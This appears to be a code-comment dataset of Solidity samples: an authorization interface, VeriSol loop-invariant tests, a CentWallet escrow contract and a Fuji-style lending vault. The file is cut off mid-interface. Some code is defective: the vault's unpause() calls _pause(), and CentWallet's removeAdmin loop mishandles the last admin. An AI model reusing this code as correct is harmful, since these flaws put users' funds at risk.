Array of authorized addresses. function getAuthorizedAddresses() external view returns (address[] memory authorizedAddresses); /// @dev Whether an adderss is authorized to call privileged functions. /// @param addr Address to query. /// @return isAuthorized Whether the address is authorized. function authorized(address addr) external view returns (bool isAuthorized); /// @dev All addresseses authorized to call privileged functions. /// @param idx Index of authorized address. /// @return addr Authorized address. function authorities(uint256 idx) external view returns (address addr); }
Event logged when a new address is authorized. Event logged when a currently authorized address is unauthorized.
{ event AuthorizedAddressAdded( address indexed target, address indexed caller ); event AuthorizedAddressRemoved( address indexed target, address indexed caller ); function addAuthorizedAddress(address target) external; function removeAuthorizedAddress(address target) external; function removeAuthorizedAddressAtIndex( address target, uint256 index ) external; function getAuthorizedAddresses() external view returns (address[] memory authorizedAddresses); function authorized(address addr) external view returns (bool isAuthorized); function authorities(uint256 idx) external view returns (address addr); }
1,831,574
pragma solidity >=0.4.24<0.6.0; import "./Libraries/VeriSolContracts.sol"; contract LoopFor { // test Loop invariant with for loop constructor(uint n) public { require (n >= 0); uint y = 0; for (uint x = n; x != 0; x --) { VeriSol.Invariant(x + y == n); y++; } assert (y == n); } // test Loop invariant with while loop function Foo(uint n) public { require (n >= 0); uint y = 0; uint x = n; while (x != 0) { VeriSol.Invariant(x + y == n); y++; x--; } assert (y == n); } // test Loop invariant with do-while loop function Bar(uint n) public { require (n > 0); uint y = 0; uint x = n; do { VeriSol.Invariant(x + y == n); y++; x--; } while (x != 0); assert (y == n); } }
test Loop invariant with do-while loop
function Bar(uint n) public { require (n > 0); uint y = 0; uint x = n; do { VeriSol.Invariant(x + y == n); y++; x--; } while (x != 0); assert (y == n); }
14,036,310
/** *Submitted for verification at Etherscan.io on 2018-10-06 */ pragma solidity ^0.4.25; contract CentWallet { struct Wallet { uint256 balance; mapping(address => bool) linked; // prevent signature replay: uint64 debitNonce; uint64 withdrawNonce; } address[] public admins; mapping(bytes32 => Wallet) private wallets; mapping(address => bool) private isAdmin; uint256 private escrowBalance; modifier onlyAdmin { require(isAdmin[msg.sender]); _; } modifier onlyRootAdmin { require(msg.sender == admins[0]); _; } event Deposit( bytes32 indexed walletID, address indexed sender, uint256 indexed value ); event Link(bytes32 indexed walletID, address indexed agent); event Debit( bytes32 indexed walletID, uint256 indexed nonce, uint256 indexed value ); event Settle( bytes32 indexed walletID, uint256 indexed requestID, uint256 indexed value ); event Withdraw( bytes32 indexed walletID, uint256 indexed nonce, uint256 indexed value, address recipient ); constructor() public { admins.push(msg.sender); isAdmin[msg.sender] = true; } // PUBLIC CALLABLE BY ANYONE /** * Add funds to the wallet associated with an address + username * Create a wallet if none exists. */ function deposit(bytes32 walletID) public payable { wallets[walletID].balance += msg.value; emit Deposit(walletID, msg.sender, msg.value); } // PUBLIC CALLABLE BY ADMIN /** * Add an authorized signer to a wallet. */ function link( bytes32[] walletIDs, bytes32[] nameIDs, address[] agents, uint8[] v, bytes32[] r, bytes32[] s ) public onlyAdmin { require( walletIDs.length == nameIDs.length && walletIDs.length == agents.length && walletIDs.length == v.length && walletIDs.length == r.length && walletIDs.length == s.length ); for (uint256 i = 0; i < walletIDs.length; i++) { bytes32 walletID = walletIDs[i]; address agent = agents[i]; address signer = getMessageSigner( getLinkDigest(walletID, agent), v[i], r[i], s[i] ); Wallet storage wallet = wallets[walletID]; if ( wallet.linked[signer] || walletID == getWalletDigest(nameIDs[i], signer) ) { wallet.linked[agent] = true; emit Link(walletID, agent); } } } /** * Debit funds from a user's balance and add them to the escrow balance. */ function debit( bytes32[] walletIDs, uint256[] values, uint64[] nonces, uint8[] v, bytes32[] r, bytes32[] s ) public onlyAdmin { require( walletIDs.length == values.length && walletIDs.length == nonces.length && walletIDs.length == v.length && walletIDs.length == r.length && walletIDs.length == s.length ); uint256 additionalEscrow = 0; for (uint256 i = 0; i < walletIDs.length; i++) { bytes32 walletID = walletIDs[i]; uint256 value = values[i]; uint64 nonce = nonces[i]; address signer = getMessageSigner( getDebitDigest(walletID, value, nonce), v[i], r[i], s[i] ); Wallet storage wallet = wallets[walletID]; if ( wallet.debitNonce < nonce && wallet.balance >= value && wallet.linked[signer] ) { wallet.debitNonce = nonce; wallet.balance -= value; emit Debit(walletID, nonce, value); additionalEscrow += value; } } escrowBalance += additionalEscrow; } /** * Withdraws funds from this contract, debiting the user's wallet. */ function withdraw( bytes32[] walletIDs, address[] recipients, uint256[] values, uint64[] nonces, uint8[] v, bytes32[] r, bytes32[] s ) public onlyAdmin { require( walletIDs.length == recipients.length && walletIDs.length == values.length && walletIDs.length == nonces.length && walletIDs.length == v.length && walletIDs.length == r.length && walletIDs.length == s.length ); for (uint256 i = 0; i < walletIDs.length; i++) { bytes32 walletID = walletIDs[i]; address recipient = recipients[i]; uint256 value = values[i]; uint64 nonce = nonces[i]; address signer = getMessageSigner( getWithdrawDigest(walletID, recipient, value, nonce), v[i], r[i], s[i] ); Wallet storage wallet = wallets[walletID]; if ( wallet.withdrawNonce < nonce && wallet.balance >= value && wallet.linked[signer] && recipient.send(value) ) { wallet.withdrawNonce = nonce; wallet.balance -= value; emit Withdraw(walletID, nonce, value, recipient); } } } /** * Settles funds from admin escrow into user wallets. */ function settle(bytes32[] walletIDs, uint256[] requestIDs, uint256[] values) public onlyAdmin { require( walletIDs.length == requestIDs.length && walletIDs.length == values.length ); uint256 remainingEscrow = escrowBalance; for (uint256 i = 0; i < walletIDs.length; i++) { bytes32 walletID = walletIDs[i]; uint256 value = values[i]; require(value <= remainingEscrow); wallets[walletID].balance += value; remainingEscrow -= value; emit Settle(walletID, requestIDs[i], value); } escrowBalance = remainingEscrow; } // PURE GETTERS - FOR SIGNATURE GENERATION / VERIFICATION function getMessageSigner(bytes32 message, uint8 v, bytes32 r, bytes32 s) public pure returns (address) { bytes memory prefix = "\x19Ethereum Signed Message:\n32"; bytes32 prefixedMessage = keccak256(abi.encodePacked(prefix, message)); return ecrecover(prefixedMessage, v, r, s); } function getNameDigest(string name) public pure returns (bytes32) { return keccak256(abi.encodePacked(name)); } function getWalletDigest(bytes32 name, address root) public pure returns (bytes32) { return keccak256(abi.encodePacked(name, root)); } function getLinkDigest(bytes32 walletID, address agent) public pure returns (bytes32) { return keccak256(abi.encodePacked(walletID, agent)); } function getDebitDigest(bytes32 walletID, uint256 value, uint64 nonce) public pure returns (bytes32) { return keccak256(abi.encodePacked(walletID, value, nonce)); } function getWithdrawDigest( bytes32 walletID, address recipient, uint256 value, uint64 nonce ) public pure returns (bytes32) { return keccak256(abi.encodePacked(walletID, recipient, value, nonce)); } // VIEW GETTERS - READ WALLET STATE function getDebitNonce(bytes32 walletID) public view returns (uint256) { return wallets[walletID].debitNonce + 1; } function getWithdrawNonce(bytes32 walletID) public view returns (uint256) { return wallets[walletID].withdrawNonce + 1; } function getLinkStatus(bytes32 walletID, address member) public view returns (bool) { return wallets[walletID].linked[member]; } function getBalance(bytes32 walletID) public view returns (uint256) { return wallets[walletID].balance; } function getEscrowBalance() public view returns (uint256) { return escrowBalance; } // ADMIN MANAGEMENT function addAdmin(address newAdmin) public onlyRootAdmin { require(!isAdmin[newAdmin]); isAdmin[newAdmin] = true; admins.push(newAdmin); } function removeAdmin(address oldAdmin) public onlyRootAdmin { require(isAdmin[oldAdmin] && admins[0] != oldAdmin); bool found = false; for (uint256 i = 1; i < admins.length - 1; i++) { if (!found && admins[i] == oldAdmin) { found = true; } if (found) { admins[i] = admins[i + 1]; } } admins.length--; isAdmin[oldAdmin] = false; } function changeRootAdmin(address newRootAdmin) public onlyRootAdmin { if (isAdmin[newRootAdmin] && admins[0] != newRootAdmin) { // Remove them & shorten the array so long as they are not currently root removeAdmin(newRootAdmin); } admins[0] = newRootAdmin; isAdmin[newRootAdmin] = true; } }
Settles funds from admin escrow into user wallets./
function settle(bytes32[] walletIDs, uint256[] requestIDs, uint256[] values) public onlyAdmin { require( walletIDs.length == requestIDs.length && walletIDs.length == values.length ); uint256 remainingEscrow = escrowBalance; for (uint256 i = 0; i < walletIDs.length; i++) { bytes32 walletID = walletIDs[i]; uint256 value = values[i]; require(value <= remainingEscrow); wallets[walletID].balance += value; remainingEscrow -= value; emit Settle(walletID, requestIDs[i], value); } escrowBalance = remainingEscrow; }
5,379,901
// SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.8.0; pragma experimental ABIEncoderV2; import { IVault } from "./IVault.sol"; import { VaultBase } from "./VaultBase.sol"; import { IFujiAdmin } from "../IFujiAdmin.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import { AggregatorV3Interface } from "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IFujiERC1155 } from "../FujiERC1155/IFujiERC1155.sol"; import { IProvider } from "../Providers/IProvider.sol"; import { IAlphaWhiteList } from "../IAlphaWhiteList.sol"; import { Errors } from "../Libraries/Errors.sol"; interface IVaultHarvester { function collectRewards(uint256 _farmProtocolNum) external returns (address claimedToken); } contract VaultETHUSDT is IVault, VaultBase, ReentrancyGuard { uint256 internal constant _BASE = 1e18; struct Factor { uint64 a; uint64 b; } // Safety factor Factor public safetyF; // Collateralization factor Factor public collatF; //State variables address[] public providers; address public override activeProvider; IFujiAdmin private _fujiAdmin; address public override fujiERC1155; AggregatorV3Interface public oracle; modifier isAuthorized() { require( msg.sender == _fujiAdmin.getController() || msg.sender == owner(), Errors.VL_NOT_AUTHORIZED ); _; } modifier onlyFlash() { require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED); _; } constructor() public { vAssets.collateralAsset = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // ETH vAssets.borrowAsset = address(0xdAC17F958D2ee523a2206206994597C13D831ec7); // USDT // 1.05 safetyF.a = 21; safetyF.b = 20; // 1.269 collatF.a = 80; collatF.b = 63; } receive() external payable {} //Core functions /** * @dev Deposits collateral and borrows underlying in a single function call from activeProvider * @param _collateralAmount: amount to be deposited * @param _borrowAmount: amount to be borrowed */ function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable { deposit(_collateralAmount); borrow(_borrowAmount); } /** * @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider * @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount * @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount */ function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable { payback(_paybackAmount); withdraw(_collateralAmount); } /** * @dev Deposit Vault's type collateral to activeProvider * call Controller checkrates * @param _collateralAmount: to be deposited * Emits a {Deposit} event. */ function deposit(uint256 _collateralAmount) public payable override { require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR); // Alpha Whitelist Routine require( IAlphaWhiteList(_fujiAdmin.getaWhiteList()).whiteListRoutine( msg.sender, vAssets.collateralID, _collateralAmount, fujiERC1155 ), Errors.SP_ALPHA_WHITELIST ); // Delegate Call Deposit to current provider _deposit(_collateralAmount, address(activeProvider)); // Collateral Management IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, ""); emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount); } /** * @dev Withdraws Vault's type collateral from activeProvider * call Controller checkrates * @param _withdrawAmount: amount of collateral to withdraw * otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors) * Emits a {Withdraw} event. */ function withdraw(int256 _withdrawAmount) public override nonReentrant { // If call from Normal User do typical, otherwise Fliquidator if (msg.sender != _fujiAdmin.getFliquidator()) { updateF1155Balances(); // Get User Collateral in this Vault uint256 providedCollateral = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID); // Check User has collateral require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL); // Get Required Collateral with Factors to maintain debt position healthy uint256 neededCollateral = getNeededCollateralFor( IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID), true ); uint256 amountToWithdraw = _withdrawAmount < 0 ? providedCollateral.sub(neededCollateral) : uint256(_withdrawAmount); // Check Withdrawal amount, and that it will not fall undercollaterized. require( amountToWithdraw != 0 && providedCollateral.sub(amountToWithdraw) >= neededCollateral, Errors.VL_INVALID_WITHDRAW_AMOUNT ); // Collateral Management before Withdraw Operation IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw); // Delegate Call Withdraw to current provider _withdraw(amountToWithdraw, address(activeProvider)); // Transer Assets to User IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, amountToWithdraw); emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw); } else { // Logic used when called by Fliquidator _withdraw(uint256(_withdrawAmount), address(activeProvider)); IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, uint256(_withdrawAmount)); } } /** * @dev Borrows Vault's type underlying amount from activeProvider * @param _borrowAmount: token amount of underlying to borrow * Emits a {Borrow} event. */ function borrow(uint256 _borrowAmount) public override nonReentrant { updateF1155Balances(); uint256 providedCollateral = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID); // Get Required Collateral with Factors to maintain debt position healthy uint256 neededCollateral = getNeededCollateralFor( _borrowAmount.add(IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID)), true ); // Check Provided Collateral is not Zero, and greater than needed to maintain healthy position require( _borrowAmount != 0 && providedCollateral > neededCollateral, Errors.VL_INVALID_BORROW_AMOUNT ); // Debt Management IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, ""); // Delegate Call Borrow to current provider _borrow(_borrowAmount, address(activeProvider)); // Transer Assets to User IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _borrowAmount); emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount); } /** * @dev Paybacks Vault's type underlying to activeProvider * @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount * Emits a {Repay} event. */ function payback(int256 _repayAmount) public payable override { // If call from Normal User do typical, otherwise Fliquidator if (msg.sender != _fujiAdmin.getFliquidator()) { updateF1155Balances(); uint256 userDebtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID); // Check User Debt is greater than Zero and amount is not Zero require(_repayAmount != 0 && userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK); // TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt // If passed argument amount is negative do MAX uint256 amountToPayback = _repayAmount < 0 ? userDebtBalance : uint256(_repayAmount); // Check User Allowance require( IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback, Errors.VL_MISSING_ERC20_ALLOWANCE ); // Transfer Asset from User to Vault IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), amountToPayback); // Delegate Call Payback to current provider _payback(amountToPayback, address(activeProvider)); //TODO: Transfer corresponding Debt Amount to Fuji Treasury // Debt Management IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback); emit Payback(msg.sender, vAssets.borrowAsset, userDebtBalance); } else { // Logic used when called by Fliquidator _payback(uint256(_repayAmount), address(activeProvider)); } } /** * @dev Changes Vault debt and collateral to newProvider, called by Flasher * @param _newProvider new provider's address * @param _flashLoanAmount amount of flashloan underlying to repay Flashloan * Emits a {Switch} event. */ function executeSwitch( address _newProvider, uint256 _flashLoanAmount, uint256 fee ) external override onlyFlash whenNotPaused { // Compute Ratio of transfer before payback uint256 ratio = _flashLoanAmount.mul(1e18).div( IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset) ); // Payback current provider _payback(_flashLoanAmount, activeProvider); // Withdraw collateral proportional ratio from current provider uint256 collateraltoMove = IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18); _withdraw(collateraltoMove, activeProvider); // Deposit to the new provider _deposit(collateraltoMove, _newProvider); // Borrow from the new provider, borrowBalance + premium _borrow(_flashLoanAmount.add(fee), _newProvider); // return borrowed amount to Flasher IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(fee)); emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove); } //Setter, change state functions /** * @dev Sets the fujiAdmin Address * @param _newFujiAdmin: FujiAdmin Contract Address */ function setFujiAdmin(address _newFujiAdmin) public onlyOwner { _fujiAdmin = IFujiAdmin(_newFujiAdmin); } /** * @dev Sets a new active provider for the Vault * @param _provider: fuji address of the new provider * Emits a {SetActiveProvider} event. */ function setActiveProvider(address _provider) external override isAuthorized { activeProvider = _provider; emit SetActiveProvider(_provider); } //Administrative functions /** * @dev Sets a fujiERC1155 Collateral and Debt Asset manager for this vault and initializes it. * @param _fujiERC1155: fuji ERC1155 address */ function setFujiERC1155(address _fujiERC1155) external isAuthorized { fujiERC1155 = _fujiERC1155; vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset( IFujiERC1155.AssetType.collateralToken, address(this) ); vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset( IFujiERC1155.AssetType.debtToken, address(this) ); } /** * @dev Set Factors "a" and "b" for a Struct Factor * For safetyF; Sets Safety Factor of Vault, should be > 1, a/b * For collatF; Sets Collateral Factor of Vault, should be > 1, a/b * @param _newFactorA: Nominator * @param _newFactorB: Denominator * @param _isSafety: safetyF or collatF */ function setFactor( uint64 _newFactorA, uint64 _newFactorB, bool _isSafety ) external isAuthorized { if (_isSafety) { safetyF.a = _newFactorA; safetyF.b = _newFactorB; } else { collatF.a = _newFactorA; collatF.b = _newFactorB; } } /** * @dev Sets the Oracle address (Must Comply with AggregatorV3Interface) * @param _oracle: new Oracle address */ function setOracle(address _oracle) external isAuthorized { oracle = AggregatorV3Interface(_oracle); } /** * @dev Set providers to the Vault * @param _providers: new providers' addresses */ function setProviders(address[] calldata _providers) external isAuthorized { providers = _providers; } /** * @dev External Function to call updateState in F1155 */ function updateF1155Balances() public override { uint256 borrowBals; uint256 depositBals; // take into account all balances across providers uint256 length = providers.length; for (uint256 i = 0; i < length; i++) { borrowBals = borrowBals.add(IProvider(providers[i]).getBorrowBalance(vAssets.borrowAsset)); } for (uint256 i = 0; i < length; i++) { depositBals = depositBals.add( IProvider(providers[i]).getDepositBalance(vAssets.collateralAsset) ); } IFujiERC1155(fujiERC1155).updateState(vAssets.borrowID, borrowBals); IFujiERC1155(fujiERC1155).updateState(vAssets.collateralID, depositBals); } //Getter Functions /** * @dev Returns an array of the Vault's providers */ function getProviders() external view override returns (address[] memory) { return providers; } /** * @dev Returns an amount to be paid as bonus for liquidation * @param _amount: Vault underlying type intended to be liquidated * @param _flash: Flash or classic type of liquidation, bonus differs */ function getLiquidationBonusFor(uint256 _amount, bool _flash) external view override returns (uint256) { if (_flash) { // Bonus Factors for Flash Liquidation (uint64 a, uint64 b) = _fujiAdmin.getBonusFlashL(); return _amount.mul(a).div(b); } else { //Bonus Factors for Normal Liquidation (uint64 a, uint64 b) = _fujiAdmin.getBonusLiq(); return _amount.mul(a).div(b); } } /** * @dev Returns the amount of collateral needed, including or not safety factors * @param _amount: Vault underlying type intended to be borrowed * @param _withFactors: Inidicate if computation should include safety_Factors */ function getNeededCollateralFor(uint256 _amount, bool _withFactors) public view override returns (uint256) { // Get price of DAI in ETH (, int256 latestPrice, , , ) = oracle.latestRoundData(); uint256 minimumReq = (_amount.mul(1e12).mul(uint256(latestPrice))).div(_BASE); if (_withFactors) { return minimumReq.mul(collatF.a).mul(safetyF.a).div(collatF.b).div(safetyF.b); } else { return minimumReq; } } /** * @dev Returns the borrow balance of the Vault's underlying at a particular provider * @param _provider: address of a provider */ function borrowBalance(address _provider) external view override returns (uint256) { return IProvider(_provider).getBorrowBalance(vAssets.borrowAsset); } /** * @dev Returns the deposit balance of the Vault's type collateral at a particular provider * @param _provider: address of a provider */ function depositBalance(address _provider) external view override returns (uint256) { return IProvider(_provider).getDepositBalance(vAssets.collateralAsset); } /** * @dev Harvests the Rewards from baseLayer Protocols * @param _farmProtocolNum: number per VaultHarvester Contract for specific farm */ function harvestRewards(uint256 _farmProtocolNum) public onlyOwner { address tokenReturned = IVaultHarvester(_fujiAdmin.getVaultHarvester()).collectRewards(_farmProtocolNum); uint256 tokenBal = IERC20(tokenReturned).balanceOf(address(this)); require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED); IERC20(tokenReturned).uniTransfer(payable(_fujiAdmin.getTreasury()), tokenBal); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12; pragma experimental ABIEncoderV2; interface IVault { // Events // Log Users Deposit event Deposit(address indexed userAddrs, address indexed asset, uint256 amount); // Log Users withdraw event Withdraw(address indexed userAddrs, address indexed asset, uint256 amount); // Log Users borrow event Borrow(address indexed userAddrs, address indexed asset, uint256 amount); // Log Users debt repay event Payback(address indexed userAddrs, address indexed asset, uint256 amount); // Log New active provider event SetActiveProvider(address providerAddr); // Log Switch providers event Switch( address vault, address fromProviderAddrs, address toProviderAddr, uint256 debtamount, uint256 collattamount ); // Core Vault Functions function deposit(uint256 _collateralAmount) external payable; function withdraw(int256 _withdrawAmount) external; function borrow(uint256 _borrowAmount) external; function payback(int256 _repayAmount) external payable; function executeSwitch( address _newProvider, uint256 _flashLoanDebt, uint256 _fee ) external; //Getter Functions function activeProvider() external view returns (address); function borrowBalance(address _provider) external view returns (uint256); function depositBalance(address _provider) external view returns (uint256); function getNeededCollateralFor(uint256 _amount, bool _withFactors) external view returns (uint256); function getLiquidationBonusFor(uint256 _amount, bool _flash) external view returns (uint256); function getProviders() external view returns (address[] memory); function fujiERC1155() external view returns (address); //Setter Functions function setActiveProvider(address _provider) external; function updateF1155Balances() external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { Pausable } from "@openzeppelin/contracts/utils/Pausable.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { UniERC20 } from "../Libraries/LibUniERC20.sol"; contract VaultControl is Ownable, Pausable { using SafeMath for uint256; using UniERC20 for IERC20; //Asset Struct struct VaultAssets { address collateralAsset; address borrowAsset; uint64 collateralID; uint64 borrowID; } //Vault Struct for Managed Assets VaultAssets public vAssets; //Pause Functions /** * @dev Emergency Call to stop all basic money flow functions. */ function pause() public onlyOwner { _pause(); } /** * @dev Emergency Call to stop all basic money flow functions. */ function unpause() public onlyOwner { _pause(); } } contract VaultBase is VaultControl { // Internal functions /** * @dev Executes deposit operation with delegatecall. * @param _amount: amount to be deposited * @param _provider: address of provider to be used */ function _deposit(uint256 _amount, address _provider) internal { bytes memory data = abi.encodeWithSignature("deposit(address,uint256)", vAssets.collateralAsset, _amount); _execute(_provider, data); } /** * @dev Executes withdraw operation with delegatecall. * @param _amount: amount to be withdrawn * @param _provider: address of provider to be used */ function _withdraw(uint256 _amount, address _provider) internal { bytes memory data = abi.encodeWithSignature("withdraw(address,uint256)", vAssets.collateralAsset, _amount); _execute(_provider, data); } /** * @dev Executes borrow operation with delegatecall. * @param _amount: amount to be borrowed * @param _provider: address of provider to be used */ function _borrow(uint256 _amount, address _provider) internal { bytes memory data = abi.encodeWithSignature("borrow(address,uint256)", vAssets.borrowAsset, _amount); _execute(_provider, data); } /** * @dev Executes payback operation with delegatecall. * @param _amount: amount to be paid back * @param _provider: address of provider to be used */ function _payback(uint256 _amount, address _provider) internal { bytes memory data = abi.encodeWithSignature("payback(address,uint256)", vAssets.borrowAsset, _amount); _execute(_provider, data); } /** * @dev Returns byte response of delegatcalls */ function _execute(address _target, bytes memory _data) internal whenNotPaused returns (bytes memory response) { /* solhint-disable */ assembly { let succeeded := delegatecall(sub(gas(), 5000), _target, add(_data, 0x20), mload(_data), 0, 0) let size := returndatasize() response := mload(0x40) mstore(0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f)))) mstore(response, size) returndatacopy(add(response, 0x20), 0, size) switch iszero(succeeded) case 1 { // throw if delegatecall failed revert(add(response, 0x20), size) } } /* solhint-disable */ } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12 <0.8.0; interface IFujiAdmin { function validVault(address _vaultAddr) external view returns (bool); function getFlasher() external view returns (address); function getFliquidator() external view returns (address); function getController() external view returns (address); function getTreasury() external view returns (address payable); function getaWhiteList() external view returns (address); function getVaultHarvester() external view returns (address); function getBonusFlashL() external view returns (uint64, uint64); function getBonusLiq() external view returns (uint64, uint64); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12; pragma experimental ABIEncoderV2; interface IFujiERC1155 { //Asset Types enum AssetType { //uint8 = 0 collateralToken, //uint8 = 1 debtToken } //General Getter Functions function getAssetID(AssetType _type, address _assetAddr) external view returns (uint256); function qtyOfManagedAssets() external view returns (uint64); function balanceOf(address _account, uint256 _id) external view returns (uint256); //function splitBalanceOf(address account,uint256 _AssetID) external view returns (uint256,uint256); //function balanceOfBatchType(address account, AssetType _Type) external view returns (uint256); //Permit Controlled Functions function mint( address _account, uint256 _id, uint256 _amount, bytes memory _data ) external; function burn( address _account, uint256 _id, uint256 _amount ) external; function updateState(uint256 _assetID, uint256 _newBalance) external; function addInitializeAsset(AssetType _type, address _addr) external returns (uint64); } // SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.7.0; interface IProvider { //Basic Core Functions function deposit(address _collateralAsset, uint256 _collateralAmount) external payable; function borrow(address _borrowAsset, uint256 _borrowAmount) external payable; function withdraw(address _collateralAsset, uint256 _collateralAmount) external payable; function payback(address _borrowAsset, uint256 _borrowAmount) external payable; // returns the borrow annualized rate for an asset in ray (1e27) //Example 8.5% annual interest = 0.085 x 10^27 = 85000000000000000000000000 or 85*(10**24) function getBorrowRateFor(address _asset) external view returns 